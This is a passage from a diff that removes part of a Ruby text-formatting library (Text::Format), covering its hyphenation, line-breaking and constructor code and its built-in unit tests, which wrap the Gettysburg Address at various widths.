-        line = words.join('')
-      end
-      line = "#{lmargin}#{indent}#{line}#{fill}\n" unless line.nil?
-      if right_align? && (not line.nil?)
-        line.sub(/^/, " " * (@columns - @right_margin - (line.size - 1)))
-      else
-        line
-      end
-    end
-
-    def __do_hyphenate(line, next_line, width) #:nodoc:
-      rline = line.dup rescue line
-      rnext = next_line.dup rescue next_line
-      loop do
-        if rline.size == width
-          break
-        elsif rline.size > width
-          words = rline.strip.split(/\s+/)
-          word = words[-1].dup
-          size = width - rline.size + word.size
-          if (size <= 0)
-            words[-1] = nil
-            rline = words.join(' ').strip
-            rnext = "#{word} #{rnext}".strip
-            next
-          end
-
-          first = rest = nil
-
-          if ((@split_rules & SPLIT_HYPHENATION) != 0)
-            if @hyphenator_arity == 2
-              first, rest = @hyphenator.hyphenate_to(word, size)
-            else
-              first, rest = @hyphenator.hyphenate_to(word, size, self)
-            end
-          end
-
-          if ((@split_rules & SPLIT_CONTINUATION) != 0) and first.nil?
-            first, rest = self.hyphenate_to(word, size)
-          end
-
-          if ((@split_rules & SPLIT_FIXED) != 0) and first.nil?
-            first.nil? or @split_rules == SPLIT_FIXED
-            first, rest = __do_split_word(word, size)
-          end
-
-          if first.nil?
-            words[-1] = nil
-            rest = word
-          else
-            words[-1] = first
-            @split_words << SplitWord.new(word, first, rest)
-          end
-          rline = words.join(' ').strip
-          rnext = "#{rest} #{rnext}".strip
-          break
-        else
-          break if rnext.nil? or rnext.empty? or rline.nil? or rline.empty?
-          words = rnext.split(/\s+/)
-          word = words.shift
-          size = width - rline.size - 1
-
-          if (size <= 0)
-            rnext = "#{word} #{words.join(' ')}".strip
-            break
-          end
-
-          first = rest = nil
-
-          if ((@split_rules & SPLIT_HYPHENATION) != 0)
-            if @hyphenator_arity == 2
-              first, rest = @hyphenator.hyphenate_to(word, size)
-            else
-              first, rest = @hyphenator.hyphenate_to(word, size, self)
-            end
-          end
-
-          first, rest = self.hyphenate_to(word, size) if ((@split_rules & SPLIT_CONTINUATION) != 0) and first.nil?
-
-          first, rest = __do_split_word(word, size) if ((@split_rules & SPLIT_FIXED) != 0) and first.nil?
-
-          if (rline.size + (first ? first.size : 0)) < width
-            @split_words << SplitWord.new(word, first, rest)
-            rline = "#{rline} #{first}".strip
-            rnext = "#{rest} #{words.join(' ')}".strip
-          end
-          break
-        end
-      end
-      [rline, rnext]
-    end
-
-    def __do_break(line, next_line) #:nodoc:
-      no_brk = false
-      words = []
-      words = line.split(/\s+/) unless line.nil?
-      last_word = words[-1]
-
-      @nobreak_regex.each { |k, v| no_brk = ((last_word =~ /#{k}/) and (next_line =~ /#{v}/)) }
-
-      if no_brk && words.size > 1
-        i = words.size
-        while i > 0
-          no_brk = false
-          @nobreak_regex.each { |k, v| no_brk = ((words[i + 1] =~ /#{k}/) && (words[i] =~ /#{v}/)) }
-          i -= 1
-          break if not no_brk
-        end
-        if i > 0
-          l = brk_re(i).match(line)
-          line.sub!(brk_re(i), l[1])
-          next_line = "#{l[2]} #{next_line}"
-          line.sub!(/\s+$/, '')
-        end
-      end
-      [line, next_line]
-    end
-
-    def __create(arg = nil, &block) #:nodoc:
-        # Format::Text.new(text-to-wrap)
-      @text = arg unless arg.nil?
-        # Defaults
-      @columns          = 72
-      @tabstop          = 8
-      @first_indent     = 4
-      @body_indent      = 0
-      @format_style     = LEFT_ALIGN
-      @left_margin      = 0
-      @right_margin     = 0
-      @extra_space      = false
-      @text             = Array.new if @text.nil?
-      @tag_paragraph    = false
-      @tag_text         = Array.new
-      @tag_cur          = ""
-      @abbreviations    = Array.new
-      @nobreak          = false
-      @nobreak_regex    = Hash.new
-      @split_words      = Array.new
-      @hard_margins     = false
-      @split_rules      = SPLIT_FIXED
-      @hyphenator       = self
-      @hyphenator_arity = self.method(:hyphenate_to).arity
-
-      instance_eval(&block) unless block.nil?
-    end
-
-  public
-      # Formats text into a nice paragraph format. The text is separated
-      # into words and then reassembled a word at a time using the settings
-      # of this Format object. If a word is larger than the number of
-      # columns available for formatting, then that word will appear on the
-      # line by itself.
-      #
-      # If +to_wrap+ is +nil+, then the value of <tt>#text</tt> will be
-      # worked on.
-    def format(to_wrap = nil)
-      to_wrap = @text if to_wrap.nil?
-      if to_wrap.class == Array
-        __format(to_wrap[0])
-      else
-        __format(to_wrap)
-      end
-    end
-
-      # Considers each element of text (provided or internal) as a paragraph.
-      # If <tt>#first_indent</tt> is the same as <tt>#body_indent</tt>, then
-      # paragraphs will be separated by a single empty line in the result;
-      # otherwise, the paragraphs will follow immediately after each other.
-      # Uses <tt>#format</tt> to do the heavy lifting.
-    def paragraphs(to_wrap = nil)
-      to_wrap = @text if to_wrap.nil?
-      __paragraphs([to_wrap].flatten)
-    end
-
-      # Centers the text, preserving empty lines and tabs.
-    def center(to_center = nil)
-      to_center = @text if to_center.nil?
-      __center([to_center].flatten)
-    end
-
-      # Replaces all tab characters in the text with <tt>#tabstop</tt> spaces.
-    def expand(to_expand = nil)
-      to_expand = @text if to_expand.nil?
-      if to_expand.class == Array
-        to_expand.collect { |te| __expand(te) }
-      else
-        __expand(to_expand)
-      end
-    end
-
-      # Replaces all occurrences of <tt>#tabstop</tt> consecutive spaces
-      # with a tab character.
-    def unexpand(to_unexpand = nil)
-      to_unexpand = @text if to_unexpand.nil?
-      if to_unexpand.class == Array
-        to_unexpand.collect { |te| v << __unexpand(te) }
-      else
-        __unexpand(to_unexpand)
-      end
-    end
-
-      # This constructor takes advantage of a technique for Ruby object
-      # construction introduced by Andy Hunt and Dave Thomas (see reference),
-      # where optional values are set using commands in a block.
-      #
-      #   Text::Format.new {
-      #       columns         = 72
-      #       left_margin     = 0
-      #       right_margin    = 0
-      #       first_indent    = 4
-      #       body_indent     = 0
-      #       format_style    = Text::Format::LEFT_ALIGN
-      #       extra_space     = false
-      #       abbreviations   = {}
-      #       tag_paragraph   = false
-      #       tag_text        = []
-      #       nobreak         = false
-      #       nobreak_regex   = {}
-      #       tabstop         = 8
-      #       text            = nil
-      #   }
-      #
-      # As shown above, +arg+ is optional. If +arg+ is specified and is a
-      # +String+, then arg is used as the default value of <tt>#text</tt>.
-      # Alternately, an existing Text::Format object can be used or a Hash can
-      # be used. With all forms, a block can be specified.
-      #
-      # *Reference*:: "Object Construction and Blocks"
-      #               <http://www.pragmaticprogrammer.com/ruby/articles/insteval.html>
-      #
-    def initialize(arg = nil, &block)
-      case arg
-      when Text::Format
-        __create(arg.text) do
-          @columns        = arg.columns
-          @tabstop        = arg.tabstop
-          @first_indent   = arg.first_indent
-          @body_indent    = arg.body_indent
-          @format_style   = arg.format_style
-          @left_margin    = arg.left_margin
-          @right_margin   = arg.right_margin
-          @extra_space    = arg.extra_space
-          @tag_paragraph  = arg.tag_paragraph
-          @tag_text       = arg.tag_text
-          @abbreviations  = arg.abbreviations
-          @nobreak        = arg.nobreak
-          @nobreak_regex  = arg.nobreak_regex
-          @text           = arg.text
-          @hard_margins   = arg.hard_margins
-          @split_words    = arg.split_words
-          @split_rules    = arg.split_rules
-          @hyphenator     = arg.hyphenator
-        end
-        instance_eval(&block) unless block.nil?
-      when Hash
-        __create do
-          @columns       = arg[:columns]       || arg['columns']       || @columns
-          @tabstop       = arg[:tabstop]       || arg['tabstop']       || @tabstop
-          @first_indent  = arg[:first_indent]  || arg['first_indent']  || @first_indent
-          @body_indent   = arg[:body_indent]   || arg['body_indent']   || @body_indent
-          @format_style  = arg[:format_style]  || arg['format_style']  || @format_style
-          @left_margin   = arg[:left_margin]   || arg['left_margin']   || @left_margin
-          @right_margin  = arg[:right_margin]  || arg['right_margin']  || @right_margin
-          @extra_space   = arg[:extra_space]   || arg['extra_space']   || @extra_space
-          @text          = arg[:text]          || arg['text']          || @text
-          @tag_paragraph = arg[:tag_paragraph] || arg['tag_paragraph'] || @tag_paragraph
-          @tag_text      = arg[:tag_text]      || arg['tag_text']      || @tag_text
-          @abbreviations = arg[:abbreviations] || arg['abbreviations'] || @abbreviations
-          @nobreak       = arg[:nobreak]       || arg['nobreak']       || @nobreak
-          @nobreak_regex = arg[:nobreak_regex] || arg['nobreak_regex'] || @nobreak_regex
-          @hard_margins  = arg[:hard_margins]  || arg['hard_margins']  || @hard_margins
-          @split_rules   = arg[:split_rules] || arg['split_rules'] || @split_rules
-          @hyphenator    = arg[:hyphenator] || arg['hyphenator'] || @hyphenator
-        end
-        instance_eval(&block) unless block.nil?
-      when String
-        __create(arg, &block)
-      when NilClass
-        __create(&block)
-      else
-        raise TypeError
-      end
-    end
-  end
-end
-
-if __FILE__ == $0
-  require 'test/unit'
-
-  class TestText__Format < Test::Unit::TestCase #:nodoc:
-    attr_accessor :format_o
-
-    GETTYSBURG = <<-'EOS'
-    Four score and seven years ago our fathers brought forth on this
-    continent a new nation, conceived in liberty and dedicated to the
-    proposition that all men are created equal. Now we are engaged in
-    a great civil war, testing whether that nation or any nation so
-    conceived and so dedicated can long endure. We are met on a great
-    battlefield of that war. We have come to dedicate a portion of
-    that field as a final resting-place for those who here gave their
-    lives that that nation might live. It is altogether fitting and
-    proper that we should do this. But in a larger sense, we cannot
-    dedicate, we cannot consecrate, we cannot hallow this ground.
-    The brave men, living and dead who struggled here have consecrated
-    it far above our poor power to add or detract. The world will
-    little note nor long remember what we say here, but it can never
-    forget what they did here. It is for us the living rather to be
-    dedicated here to the unfinished work which they who fought here
-    have thus far so nobly advanced. It is rather for us to be here
-    dedicated to the great task remaining before us--that from these
-    honored dead we take increased devotion to that cause for which
-    they gave the last full measure of devotion--that we here highly
-    resolve that these dead shall not have died in vain, that this
-    nation under God shall have a new birth of freedom, and that
-    government of the people, by the people, for the people shall
-    not perish from the earth.
-
-            -- Pres. Abraham Lincoln, 19 November 1863
-    EOS
-
-    FIVE_COL = "Four \nscore\nand s\neven \nyears\nago o\nur fa\nthers\nbroug\nht fo\nrth o\nn thi\ns con\ntinen\nt a n\new na\ntion,\nconce\nived \nin li\nberty\nand d\nedica\nted t\no the\npropo\nsitio\nn tha\nt all\nmen a\nre cr\neated\nequal\n. Now\nwe ar\ne eng\naged \nin a \ngreat\ncivil\nwar, \ntesti\nng wh\nether\nthat \nnatio\nn or \nany n\nation\nso co\nnceiv\ned an\nd so \ndedic\nated \ncan l\nong e\nndure\n. We \nare m\net on\na gre\nat ba\nttlef\nield \nof th\nat wa\nr. We\nhave \ncome \nto de\ndicat\ne a p\nortio\nn of \nthat \nfield\nas a \nfinal\nresti\nng-pl\nace f\nor th\nose w\nho he\nre ga\nve th\neir l\nives \nthat \nthat \nnatio\nn mig\nht li\nve. I\nt is \naltog\nether\nfitti\nng an\nd pro\nper t\nhat w\ne sho\nuld d\no thi\ns. Bu\nt in \na lar\nger s\nense,\nwe ca\nnnot \ndedic\nate, \nwe ca\nnnot \nconse\ncrate\n, we \ncanno\nt hal\nlow t\nhis g\nround\n. The\nbrave\nmen, \nlivin\ng and\ndead \nwho s\ntrugg\nled h\nere h\nave c\nonsec\nrated\nit fa\nr abo\nve ou\nr poo\nr pow\ner to\nadd o\nr det\nract.\nThe w\norld \nwill \nlittl\ne not\ne nor\nlong \nremem\nber w\nhat w\ne say\nhere,\nbut i\nt can\nnever\nforge\nt wha\nt the\ny did\nhere.\nIt is\nfor u\ns the\nlivin\ng rat\nher t\no be \ndedic\nated \nhere \nto th\ne unf\ninish\ned wo\nrk wh\nich t\nhey w\nho fo\nught \nhere \nhave \nthus \nfar s\no nob\nly ad\nvance\nd. It\nis ra\nther \nfor u\ns to \nbe he\nre de\ndicat\ned to\nthe g\nreat \ntask \nremai\nning \nbefor\ne us-\n-that\nfrom \nthese\nhonor\ned de\nad we\ntake \nincre\nased \ndevot\nion t\no tha\nt cau\nse fo\nr whi\nch th\ney ga\nve th\ne las\nt ful\nl mea\nsure \nof de\nvotio\nn--th\nat we\nhere \nhighl\ny res\nolve \nthat \nthese\ndead \nshall\nnot h\nave d\nied i\nn vai\nn, th\nat th\nis na\ntion \nunder\nGod s\nhall \nhave \na new\nbirth\nof fr\needom\n, and\nthat \ngover\nnment\nof th\ne peo\nple, \nby th\ne peo\nple, \nfor t\nhe pe\nople \nshall\nnot p\nerish\nfrom \nthe e\narth.\n-- Pr\nes. A\nbraha\nm Lin\ncoln,\n19 No\nvembe\nr 186\n3    \n"
-
-    FIVE_CNT = "Four \nscore\nand  \nseven\nyears\nago  \nour  \nfath\\\ners  \nbrou\\\nght  \nforth\non t\\\nhis  \ncont\\\ninent\na new\nnati\\\non,  \nconc\\\neived\nin l\\\niber\\\nty a\\\nnd d\\\nedic\\\nated \nto t\\\nhe p\\\nropo\\\nsiti\\\non t\\\nhat  \nall  \nmen  \nare  \ncrea\\\nted  \nequa\\\nl. N\\\now we\nare  \nenga\\\nged  \nin a \ngreat\ncivil\nwar, \ntest\\\ning  \nwhet\\\nher  \nthat \nnati\\\non or\nany  \nnati\\\non so\nconc\\\neived\nand  \nso d\\\nedic\\\nated \ncan  \nlong \nendu\\\nre.  \nWe a\\\nre m\\\net on\na gr\\\neat  \nbatt\\\nlefi\\\neld  \nof t\\\nhat  \nwar. \nWe h\\\nave  \ncome \nto d\\\nedic\\\nate a\nport\\\nion  \nof t\\\nhat  \nfield\nas a \nfinal\nrest\\\ning-\\\nplace\nfor  \nthose\nwho  \nhere \ngave \ntheir\nlives\nthat \nthat \nnati\\\non m\\\night \nlive.\nIt is\nalto\\\ngeth\\\ner f\\\nitti\\\nng a\\\nnd p\\\nroper\nthat \nwe s\\\nhould\ndo t\\\nhis. \nBut  \nin a \nlarg\\\ner s\\\nense,\nwe c\\\nannot\ndedi\\\ncate,\nwe c\\\nannot\ncons\\\necra\\\nte,  \nwe c\\\nannot\nhall\\\now t\\\nhis  \ngrou\\\nnd.  \nThe  \nbrave\nmen, \nlivi\\\nng a\\\nnd d\\\nead  \nwho  \nstru\\\nggled\nhere \nhave \ncons\\\necra\\\nted  \nit f\\\nar a\\\nbove \nour  \npoor \npower\nto a\\\ndd or\ndetr\\\nact. \nThe  \nworld\nwill \nlitt\\\nle n\\\note  \nnor  \nlong \nreme\\\nmber \nwhat \nwe s\\\nay h\\\nere, \nbut  \nit c\\\nan n\\\never \nforg\\\net w\\\nhat  \nthey \ndid  \nhere.\nIt is\nfor  \nus t\\\nhe l\\\niving\nrath\\\ner to\nbe d\\\nedic\\\nated \nhere \nto t\\\nhe u\\\nnfin\\\nished\nwork \nwhich\nthey \nwho  \nfoug\\\nht h\\\nere  \nhave \nthus \nfar  \nso n\\\nobly \nadva\\\nnced.\nIt is\nrath\\\ner f\\\nor us\nto be\nhere \ndedi\\\ncated\nto t\\\nhe g\\\nreat \ntask \nrema\\\nining\nbefo\\\nre u\\\ns--t\\\nhat  \nfrom \nthese\nhono\\\nred  \ndead \nwe t\\\nake  \nincr\\\neased\ndevo\\\ntion \nto t\\\nhat  \ncause\nfor  \nwhich\nthey \ngave \nthe  \nlast \nfull \nmeas\\\nure  \nof d\\\nevot\\\nion-\\\n-that\nwe h\\\nere  \nhigh\\\nly r\\\nesol\\\nve t\\\nhat  \nthese\ndead \nshall\nnot  \nhave \ndied \nin v\\\nain, \nthat \nthis \nnati\\\non u\\\nnder \nGod  \nshall\nhave \na new\nbirth\nof f\\\nreed\\\nom,  \nand  \nthat \ngove\\\nrnme\\\nnt of\nthe  \npeop\\\nle,  \nby t\\\nhe p\\\neopl\\\ne, f\\\nor t\\\nhe p\\\neople\nshall\nnot  \nperi\\\nsh f\\\nrom  \nthe  \neart\\\nh. --\nPres.\nAbra\\\nham  \nLinc\\\noln, \n19 N\\\novem\\\nber  \n1863 \n"
-
-      # Tests both abbreviations and abbreviations=
-    def test_abbreviations
-      abbr = ["    Pres. Abraham Lincoln\n", "    Pres.  Abraham Lincoln\n"]
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal([], @format_o.abbreviations)
-      assert_nothing_raised { @format_o.abbreviations = [ 'foo', 'bar' ] }
-      assert_equal([ 'foo', 'bar' ], @format_o.abbreviations)
-      assert_equal(abbr[0], @format_o.format(abbr[0]))
-      assert_nothing_raised { @format_o.extra_space = true }
-      assert_equal(abbr[1], @format_o.format(abbr[0]))
-      assert_nothing_raised { @format_o.abbreviations = [ "Pres" ] }
-      assert_equal([ "Pres" ], @format_o.abbreviations)
-      assert_equal(abbr[0], @format_o.format(abbr[0]))
-      assert_nothing_raised { @format_o.extra_space = false }
-      assert_equal(abbr[0], @format_o.format(abbr[0]))
-    end
-
-      # Tests both body_indent and body_indent=
-    def test_body_indent
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal(0, @format_o.body_indent)
-      assert_nothing_raised { @format_o.body_indent = 7 }
-      assert_equal(7, @format_o.body_indent)
-      assert_nothing_raised { @format_o.body_indent = -3 }
-      assert_equal(3, @format_o.body_indent)
-      assert_nothing_raised { @format_o.body_indent = "9" }
-      assert_equal(9, @format_o.body_indent)
-      assert_nothing_raised { @format_o.body_indent = "-2" }
-      assert_equal(2, @format_o.body_indent)
-      assert_match(/^  [^ ]/, @format_o.format(GETTYSBURG).split("\n")[1])
-    end
-
-      # Tests both columns and columns=
-    def test_columns
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal(72, @format_o.columns)
-      assert_nothing_raised { @format_o.columns = 7 }
-      assert_equal(7, @format_o.columns)
-      assert_nothing_raised { @format_o.columns = -3 }
-      assert_equal(3, @format_o.columns)
-      assert_nothing_raised { @format_o.columns = "9" }
-      assert_equal(9, @format_o.columns)
-      assert_nothing_raised { @format_o.columns = "-2" }
-      assert_equal(2, @format_o.columns)
-      assert_nothing_raised { @format_o.columns = 40 }
-      assert_equal(40, @format_o.columns)
-      assert_match(/this continent$/,
-                   @format_o.format(GETTYSBURG).split("\n")[1])
-    end
-
-      # Tests both extra_space and extra_space=
-    def test_extra_space
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert(!@format_o.extra_space)
-      assert_nothing_raised { @format_o.extra_space = true }
-      assert(@format_o.extra_space)
-        # The behaviour of extra_space is tested in test_abbreviations. There
-        # is no need to reproduce it here.
-    end
-
-      # Tests both first_indent and first_indent=
-    def test_first_indent
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal(4, @format_o.first_indent)
-      assert_nothing_raised { @format_o.first_indent = 7 }
-      assert_equal(7, @format_o.first_indent)
-      assert_nothing_raised { @format_o.first_indent = -3 }
-      assert_equal(3, @format_o.first_indent)
-      assert_nothing_raised { @format_o.first_indent = "9" }
-      assert_equal(9, @format_o.first_indent)
-      assert_nothing_raised { @format_o.first_indent = "-2" }
-      assert_equal(2, @format_o.first_indent)
-      assert_match(/^  [^ ]/, @format_o.format(GETTYSBURG).split("\n")[0])
-    end
-
-    def test_format_style
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal(Text::Format::LEFT_ALIGN, @format_o.format_style)
-      assert_match(/^November 1863$/,
-                   @format_o.format(GETTYSBURG).split("\n")[-1])
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_ALIGN
-      }
-      assert_equal(Text::Format::RIGHT_ALIGN, @format_o.format_style)
-      assert_match(/^ +November 1863$/,
-                   @format_o.format(GETTYSBURG).split("\n")[-1])
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_FILL
-      }
-      assert_equal(Text::Format::RIGHT_FILL, @format_o.format_style)
-      assert_match(/^November 1863 +$/,
-                   @format_o.format(GETTYSBURG).split("\n")[-1])
-      assert_nothing_raised { @format_o.format_style = Text::Format::JUSTIFY }
-      assert_equal(Text::Format::JUSTIFY, @format_o.format_style)
-      assert_match(/^of freedom, and that government of the people, by the  people,  for  the$/,
-                   @format_o.format(GETTYSBURG).split("\n")[-3])
-      assert_raise(ArgumentError) { @format_o.format_style = 33 }
-    end
-
-    def test_tag_paragraph
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert(!@format_o.tag_paragraph)
-      assert_nothing_raised { @format_o.tag_paragraph = true }
-      assert(@format_o.tag_paragraph)
-      assert_not_equal(@format_o.paragraphs([GETTYSBURG, GETTYSBURG]),
-                       Text::Format.new.paragraphs([GETTYSBURG, GETTYSBURG]))
-    end
-
-    def test_tag_text
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal([], @format_o.tag_text)
-      assert_equal(@format_o.format(GETTYSBURG),
-                   Text::Format.new.format(GETTYSBURG))
-      assert_nothing_raised {
-        @format_o.tag_paragraph = true
-        @format_o.tag_text = ["Gettysburg Address", "---"]
-      }
-      assert_not_equal(@format_o.format(GETTYSBURG),
-                       Text::Format.new.format(GETTYSBURG))
-      assert_not_equal(@format_o.paragraphs([GETTYSBURG, GETTYSBURG]),
-                       Text::Format.new.paragraphs([GETTYSBURG, GETTYSBURG]))
-      assert_not_equal(@format_o.paragraphs([GETTYSBURG, GETTYSBURG,
-                                             GETTYSBURG]),
-                       Text::Format.new.paragraphs([GETTYSBURG, GETTYSBURG,
-                                                    GETTYSBURG]))
-    end
-
-    def test_justify?
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert(!@format_o.justify?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_ALIGN
-      }
-      assert(!@format_o.justify?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_FILL
-      }
-      assert(!@format_o.justify?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::JUSTIFY
-      }
-      assert(@format_o.justify?)
-        # The format testing is done in test_format_style
-    end
-
-    def test_left_align?
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert(@format_o.left_align?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_ALIGN
-      }
-      assert(!@format_o.left_align?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_FILL
-      }
-      assert(!@format_o.left_align?)
-      assert_nothing_raised { @format_o.format_style = Text::Format::JUSTIFY }
-      assert(!@format_o.left_align?)
-        # The format testing is done in test_format_style
-    end
-
-    def test_left_margin
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal(0, @format_o.left_margin)
-      assert_nothing_raised { @format_o.left_margin = -3 }
-      assert_equal(3, @format_o.left_margin)
-      assert_nothing_raised { @format_o.left_margin = "9" }
-      assert_equal(9, @format_o.left_margin)
-      assert_nothing_raised { @format_o.left_margin = "-2" }
-      assert_equal(2, @format_o.left_margin)
-      assert_nothing_raised { @format_o.left_margin = 7 }
-      assert_equal(7, @format_o.left_margin)
-      assert_nothing_raised {
-        ft = @format_o.format(GETTYSBURG).split("\n")
-        assert_match(/^ {11}Four score/, ft[0])
-        assert_match(/^ {7}November/, ft[-1])
-      }
-    end
-
-    def test_hard_margins
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert(!@format_o.hard_margins)
-      assert_nothing_raised {
-        @format_o.hard_margins = true
-        @format_o.columns = 5
-        @format_o.first_indent = 0
-        @format_o.format_style = Text::Format::RIGHT_FILL
-      }
-      assert(@format_o.hard_margins)
-      assert_equal(FIVE_COL, @format_o.format(GETTYSBURG))
-      assert_nothing_raised {
-        @format_o.split_rules |= Text::Format::SPLIT_CONTINUATION
-        assert_equal(Text::Format::SPLIT_CONTINUATION_FIXED,
-                     @format_o.split_rules)
-      }
-      assert_equal(FIVE_CNT, @format_o.format(GETTYSBURG))
-    end
-
-      # Tests both nobreak and nobreak_regex, since one is only useful
-      # with the other.
-    def test_nobreak
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert(!@format_o.nobreak)
-      assert(@format_o.nobreak_regex.empty?)
-      assert_nothing_raised {
-        @format_o.nobreak = true
-        @format_o.nobreak_regex = { '^this$' => '^continent$' }
-        @format_o.columns = 77
-      }
-      assert(@format_o.nobreak)
-      assert_equal({ '^this$' => '^continent$' }, @format_o.nobreak_regex)
-      assert_match(/^this continent/,
-                   @format_o.format(GETTYSBURG).split("\n")[1])
-    end
-
-    def test_right_align?
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert(!@format_o.right_align?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_ALIGN
-      }
-      assert(@format_o.right_align?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_FILL
-      }
-      assert(!@format_o.right_align?)
-      assert_nothing_raised { @format_o.format_style = Text::Format::JUSTIFY }
-      assert(!@format_o.right_align?)
-        # The format testing is done in test_format_style
-    end
-
-    def test_right_fill?
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert(!@format_o.right_fill?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_ALIGN
-      }
-      assert(!@format_o.right_fill?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::RIGHT_FILL
-      }
-      assert(@format_o.right_fill?)
-      assert_nothing_raised {
-        @format_o.format_style = Text::Format::JUSTIFY
-      }
-      assert(!@format_o.right_fill?)
-        # The format testing is done in test_format_style
-    end
-
-    def test_right_margin
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal(0, @format_o.right_margin)
-      assert_nothing_raised { @format_o.right_margin = -3 }
-      assert_equal(3, @format_o.right_margin)
-      assert_nothing_raised { @format_o.right_margin = "9" }
-      assert_equal(9, @format_o.right_margin)
-      assert_nothing_raised { @format_o.right_margin = "-2" }
-      assert_equal(2, @format_o.right_margin)
-      assert_nothing_raised { @format_o.right_margin = 7 }
-      assert_equal(7, @format_o.right_margin)
-      assert_nothing_raised {
-        ft = @format_o.format(GETTYSBURG).split("\n")
-        assert_match(/^ {4}Four score.*forth on$/, ft[0])
-        assert_match(/^November/, ft[-1])
-      }
-    end
-
-    def test_tabstop
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal(8, @format_o.tabstop)
-      assert_nothing_raised { @format_o.tabstop = 7 }
-      assert_equal(7, @format_o.tabstop)
-      assert_nothing_raised { @format_o.tabstop = -3 }
-      assert_equal(3, @format_o.tabstop)
-      assert_nothing_raised { @format_o.tabstop = "9" }
-      assert_equal(9, @format_o.tabstop)
-      assert_nothing_raised { @format_o.tabstop = "-2" }
-      assert_equal(2, @format_o.tabstop)
-    end
-
-    def test_text
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal([], @format_o.text)
-      assert_nothing_raised { @format_o.text = "Test Text" }
-      assert_equal("Test Text", @format_o.text)
-      assert_nothing_raised { @format_o.text = ["Line 1", "Line 2"] }
-      assert_equal(["Line 1", "Line 2"], @format_o.text)
-    end
-
-    def test_s_new
-          # new(NilClass) { block }
-      assert_nothing_raised do
-        @format_o = Text::Format.new {
-          self.text = "Test 1, 2, 3"
-        }
-      end
-      assert_equal("Test 1, 2, 3", @format_o.text)
-
-        # new(Hash Symbols)
-      assert_nothing_raised { @format_o = Text::Format.new(:columns => 72) }
-      assert_equal(72, @format_o.columns)
-
-        # new(Hash String)
-      assert_nothing_raised { @format_o = Text::Format.new('columns' => 72) }
-      assert_equal(72, @format_o.columns)
-
-        # new(Hash) { block }
-      assert_nothing_raised do
-        @format_o = Text::Format.new('columns' => 80) {
-          self.text = "Test 4, 5, 6"
-        }
-      end
-      assert_equal("Test 4, 5, 6", @format_o.text)
-      assert_equal(80, @format_o.columns)
-
-        # new(Text::Format)
-      assert_nothing_raised do
-        fo = Text::Format.new(@format_o)
-        assert(fo == @format_o)
-      end
-
-        # new(Text::Format) { block }
-      assert_nothing_raised do
-        fo = Text::Format.new(@format_o) { self.columns = 79 }
-        assert(fo != @format_o)
-      end
-
-          # new(String)
-      assert_nothing_raised { @format_o = Text::Format.new("Test A, B, C") }
-      assert_equal("Test A, B, C", @format_o.text)
-
-          # new(String) { block }
-      assert_nothing_raised do
-        @format_o = Text::Format.new("Test X, Y, Z") { self.columns = -5 }
-      end
-      assert_equal("Test X, Y, Z", @format_o.text)
-      assert_equal(5, @format_o.columns)
-    end
-
-    def test_center
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_nothing_raised do
-        ct = @format_o.center(GETTYSBURG.split("\n")).split("\n")
-        assert_match(/^    Four score and seven years ago our fathers brought forth on this/, ct[0])
-        assert_match(/^                       not perish from the earth./, ct[-3])
-      end
-    end
-
-    def test_expand
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal("          ", @format_o.expand("\t  "))
-      assert_nothing_raised { @format_o.tabstop = 4 }
-      assert_equal("      ", @format_o.expand("\t  "))
-    end
-
-    def test_unexpand
-      assert_nothing_raised { @format_o = Text::Format.new }
-      assert_equal("\t  ", @format_o.unexpand("          "))
-      assert_nothing_raised { @format_o.tabstop = 4 }
-      assert_equal("\t  ", @format_o.unexpand("      "))
-    end
-
-    def test_space_only
-      assert_equal("", Text::Format.new.format(" "))
-      assert_equal("", Text::Format.new.format("\n"))
-      assert_equal("", Text::Format.new.format("        "))
-      assert_equal("", Text::Format.new.format("    \n"))
-      assert_equal("", Text::Format.new.paragraphs("\n"))
-      assert_equal("", Text::Format.new.paragraphs(" "))
-      assert_equal("", Text::Format.new.paragraphs("        "))
-      assert_equal("", Text::Format.new.paragraphs("    \n"))
-      assert_equal("", Text::Format.new.paragraphs(["\n"]))
-      assert_equal("", Text::Format.new.paragraphs([" "]))
-      assert_equal("", Text::Format.new.paragraphs(["        "]))
-      assert_equal("", Text::Format.new.paragraphs(["    \n"]))
-    end
-
-    def test_splendiferous
-      h = nil
-      test = "This is a splendiferous test"
-      assert_nothing_raised { @format_o = Text::Format.new(:columns => 6, :left_margin => 0, :indent => 0, :first_indent => 0) }
-      assert_match(/^splendiferous$/, @format_o.format(test))
-      assert_nothing_raised { @format_o.hard_margins = true }
-      assert_match(/^lendif$/, @format_o.format(test))
-      assert_nothing_raised { h = Object.new }
-      assert_nothing_raised do
-        @format_o.split_rules = Text::Format::SPLIT_HYPHENATION
-        class << h #:nodoc:
-          def hyphenate_to(word, size)
-            return ["", word] if size < 2
